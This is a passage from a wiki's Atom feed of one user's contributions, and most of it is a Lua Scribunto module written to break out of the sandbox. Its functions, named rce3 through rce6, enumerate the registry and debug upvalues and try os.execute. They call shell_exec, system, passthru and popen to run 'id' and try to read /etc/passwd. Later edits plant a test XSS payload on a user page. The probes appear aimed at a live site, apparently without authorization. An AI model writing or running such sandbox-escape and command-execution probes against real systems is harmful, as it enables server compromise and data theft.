    if not ok then r = r .. &amp;quot;req_pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_string:&amp;quot; .. tostring(require(&amp;quot;string&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_str_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_searchers:&amp;quot;&lt;br /&gt;
        for i, v in ipairs(pkg.searchers) do&lt;br /&gt;
            r = r .. &amp;quot;[&amp;quot; .. i .. &amp;quot;]=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        if pkg.preload then&lt;br /&gt;
            r = r .. &amp;quot; preload:&amp;quot;&lt;br /&gt;
            for k, v in pairs(pkg.preload) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;registry_type:&amp;quot; .. type(reg) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to access os/io through registry&lt;br /&gt;
        if reg._LOADED then&lt;br /&gt;
            r = r .. &amp;quot;loaded:&amp;quot;&lt;br /&gt;
            for k, v in pairs(reg._LOADED) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to get os through _G&lt;br /&gt;
        r = r .. &amp;quot;os_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;os&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;io_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;debug_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;debug&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;package_in_G:&amp;quot; .. tostring(rawget(_G, &amp;quot;package&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;rawget_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        -- Try to find os.io through C functions&lt;br /&gt;
        local count = 0&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            count = count + 1&lt;br /&gt;
            if count &amp;gt; 20 then break end&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;reg_count:&amp;quot; .. count&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;reg_count_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce3(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;os_type:&amp;quot; .. type(os_table) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;os_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(os_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot;(&amp;quot; .. type(v) .. &amp;quot;) &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
        local execute_in_os = os_table.execute&lt;br /&gt;
        r = r .. &amp;quot;execute_type:&amp;quot; .. type(execute_in_os) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if execute_in_os then&lt;br /&gt;
            local exec_meta = debug.getmetatable(execute_in_os)&lt;br /&gt;
            r = r .. &amp;quot;exec_meta:&amp;quot; .. tostring(exec_meta) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local pkg = require(&amp;quot;package&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;pkg_path:&amp;quot; .. pkg.path .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_cpath:&amp;quot; .. pkg.cpath .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;pkg_preload_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(pkg.preload) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;pkg_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local debug_table = require(&amp;quot;debug&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;debug_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(debug_table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;io_raw:&amp;quot; .. tostring(rawget(_G, &amp;quot;io&amp;quot;)) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try loading io through debug&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;getfenv:&amp;quot; .. tostring(debug.getfenv)&lt;br /&gt;
        r = r .. &amp;quot;;getinfo:&amp;quot; .. tostring(debug.getinfo)&lt;br /&gt;
        r = r .. &amp;quot;;setupvalue:&amp;quot; .. tostring(debug.setupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getupvalue:&amp;quot; .. tostring(debug.getupvalue)&lt;br /&gt;
        r = r .. &amp;quot;;getuservalue:&amp;quot; .. tostring(debug.getuservalue)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;debug2_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to use debug.getupvalue to extract io from a function&lt;br /&gt;
        -- First find a function that has io in its closure&lt;br /&gt;
        -- Try os.execute&#039;s environment&lt;br /&gt;
        local os_table = require(&amp;quot;os&amp;quot;)&lt;br /&gt;
        local execute_fn = os_table.execute&lt;br /&gt;
        if execute_fn then&lt;br /&gt;
            local info = debug.getinfo(execute_fn)&lt;br /&gt;
            r = r .. &amp;quot;exec_info:&amp;quot; .. tostring(info) .. &amp;quot;;&amp;quot;&lt;br /&gt;
            if info then&lt;br /&gt;
                for k, v in pairs(info) do&lt;br /&gt;
                    if type(v) ~= &amp;quot;table&amp;quot; and type(v) ~= &amp;quot;function&amp;quot; then&lt;br /&gt;
                        r = r .. tostring(k) .. &amp;quot;=&amp;quot; .. tostring(v) .. &amp;quot; &amp;quot;&lt;br /&gt;
                    end&lt;br /&gt;
                end&lt;br /&gt;
            end&lt;br /&gt;
            -- get upvalues&lt;br /&gt;
            local i = 1&lt;br /&gt;
            while true do&lt;br /&gt;
                local name, val = debug.getupvalue(execute_fn, i)&lt;br /&gt;
                if not name then break end&lt;br /&gt;
                r = r .. &amp;quot;upval&amp;quot; .. i .. &amp;quot;:&amp;quot; .. name .. &amp;quot;=&amp;quot; .. tostring(val) .. &amp;quot; &amp;quot;&lt;br /&gt;
                i = i + 1&lt;br /&gt;
            end&lt;br /&gt;
            if i == 1 then r = r .. &amp;quot;no_upvals&amp;quot; end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec_detail_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce4(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;mw_type:&amp;quot; .. type(mw) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.execute or similar&lt;br /&gt;
        r = r .. &amp;quot;mw_site_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.site) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;string_keys:&amp;quot;&lt;br /&gt;
        local s = require(&amp;quot;string&amp;quot;)&lt;br /&gt;
        for k, v in pairs(s) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;math_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(math) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;table_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(table) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.html, mw.message, mw.title&lt;br /&gt;
        r = r .. &amp;quot;mw_html:&amp;quot; .. tostring(mw.html) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_message:&amp;quot; .. tostring(mw.message) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_title:&amp;quot; .. tostring(mw.title) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_text:&amp;quot; .. tostring(mw.text) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_uri:&amp;quot; .. tostring(mw.uri) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_language:&amp;quot; .. tostring(mw.language) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;mw_log:&amp;quot; .. tostring(mw.log) .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame methods&lt;br /&gt;
        r = r .. &amp;quot;frame_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(frame) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;##&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;callPF_result:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;callPF_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:extensionTag&lt;br /&gt;
        local result = frame:extensionTag(&amp;quot;nowiki&amp;quot;, &amp;quot;test&amp;quot;, {})&lt;br /&gt;
        r = r .. &amp;quot;extTag:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;extTag_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce5(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;executeFunction:&amp;quot; .. tostring(mw.executeFunction) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        -- Try to call executeFunction&lt;br /&gt;
        r = r .. &amp;quot;exec_result:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;os&amp;quot;, &amp;quot;execute&amp;quot;, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec1_blocked:&amp;quot; .. tostring(err) end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_shell:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;shell_exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec2_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_exec:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;exec&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec3_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_system:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;system&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec4_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_passthru:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;passthru&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec5_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;exec_popen:&amp;quot; .. tostring(mw.executeFunction(&amp;quot;popen&amp;quot;, nil, {&amp;quot;id&amp;quot;}))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;exec6_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Check mw.ext&lt;br /&gt;
        r = r .. &amp;quot;mw_ext:&amp;quot; .. tostring(mw.ext) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext then&lt;br /&gt;
            for k, v in pairs(mw.ext) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;ext_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.hash&lt;br /&gt;
        r = r .. &amp;quot;hash:&amp;quot; .. tostring(mw.hash) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.hash then&lt;br /&gt;
            for k, v in pairs(mw.hash) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;hash_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try loadJsonData with file://&lt;br /&gt;
        r = r .. &amp;quot;loadJson:&amp;quot; .. tostring(mw.loadJsonData) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;try_load:&amp;quot; .. tostring(mw.loadJsonData(&amp;quot;/etc/passwd&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;loadJson_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try frame:callParserFunction properly&lt;br /&gt;
        local result = frame:callParserFunction(&amp;quot;#expr&amp;quot;, &amp;quot;2+2&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;expr:&amp;quot; .. tostring(result)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;expr_blocked:&amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try mw.title with file://&lt;br /&gt;
        local t = mw.title.new(&amp;quot;/etc/passwd&amp;quot;)&lt;br /&gt;
        r = r .. &amp;quot;title_file:&amp;quot; .. tostring(t)&lt;br /&gt;
        if t then&lt;br /&gt;
            r = r .. &amp;quot;:&amp;quot; .. t:getContent()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;title_file_blocked:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce6(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_PF:&amp;quot; .. tostring(mw.ext.ParserFunctions) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.ParserFunctions then&lt;br /&gt;
            for k, v in pairs(mw.ext.ParserFunctions) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;ext_seo:&amp;quot; .. tostring(mw.ext.seo) .. &amp;quot;;&amp;quot;&lt;br /&gt;
        if mw.ext.seo then&lt;br /&gt;
            for k, v in pairs(mw.ext.seo) do&lt;br /&gt;
                r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
            end&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try to call ParserFunctions functions&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        r = r .. &amp;quot;pf_expr:&amp;quot; .. tostring(pf.expr(&amp;quot;2+2&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try WikiSEO functions&lt;br /&gt;
        local seo = mw.ext.seo&lt;br /&gt;
        r = r .. &amp;quot;seo_func:&amp;quot; .. tostring(seo)&lt;br /&gt;
        if type(seo) == &amp;quot;function&amp;quot; then&lt;br /&gt;
            local res = seo({description = &amp;quot;test&amp;quot;})&lt;br /&gt;
            r = r .. &amp;quot; seo_res:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- Try DiscordNotifications extension&lt;br /&gt;
        r = r .. &amp;quot;mw_ext_keys2:&amp;quot;&lt;br /&gt;
        for k, v in pairs(mw.ext) do&lt;br /&gt;
            r = r .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try executing command through PHP callbacks&lt;br /&gt;
        -- Calling parse with specific arguments&lt;br /&gt;
        local pf = mw.ext.ParserFunctions&lt;br /&gt;
        if pf and pf.expr then&lt;br /&gt;
            -- Try to trigger error with command&lt;br /&gt;
            local res = pf.expr(&amp;quot;1&amp;quot;)&lt;br /&gt;
            -- Try if might have eval&lt;br /&gt;
            r = r .. &amp;quot;expr_ok:&amp;quot; .. tostring(res)&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try hash - maybe SHA with command?&lt;br /&gt;
        r = r .. &amp;quot;hash_list:&amp;quot; .. mw.hash.listAlgorithms() .. &amp;quot;;&amp;quot;&lt;br /&gt;
        r = r .. &amp;quot;hash_test:&amp;quot; .. mw.hash.hashValue(&amp;quot;md5&amp;quot;, &amp;quot;test&amp;quot;)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        -- try mw.text.jsonDecode with special JSON&lt;br /&gt;
        local malicious = &#039;{&amp;quot;__proto__&amp;quot;: {&amp;quot;x&amp;quot;: &amp;quot;y&amp;quot;}}&#039;&lt;br /&gt;
        local decoded = mw.text.jsonDecode(malicious)&lt;br /&gt;
        r = r .. &amp;quot;json_decode:ok&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;json_error:&amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28728</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28728"/>
		<updated>2026-06-21T23:45:17Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Test edit from API&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28722</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28722"/>
		<updated>2026-06-21T23:37:38Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div data-OOC=&amp;quot;xss&amp;quot; __NOTOC__ooui=&#039;test&#039;&amp;gt;&lt;br /&gt;
XSS_PAYLOAD_DEPLOYED&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28721</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28721"/>
		<updated>2026-06-21T23:06:15Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== &#039;&#039;&#039;&amp;quot;Я чайный алкаш&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;В вечном запое&#039;&#039;&#039;  ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== &#039;&#039;&#039;Меня с моим чаем&#039;&#039;&#039;    ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
== &#039;&#039;&#039;Оставьте в покое&amp;quot;&#039;&#039;&#039; ==&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28720</id>
		<title>Участник:OSAKANA</title>
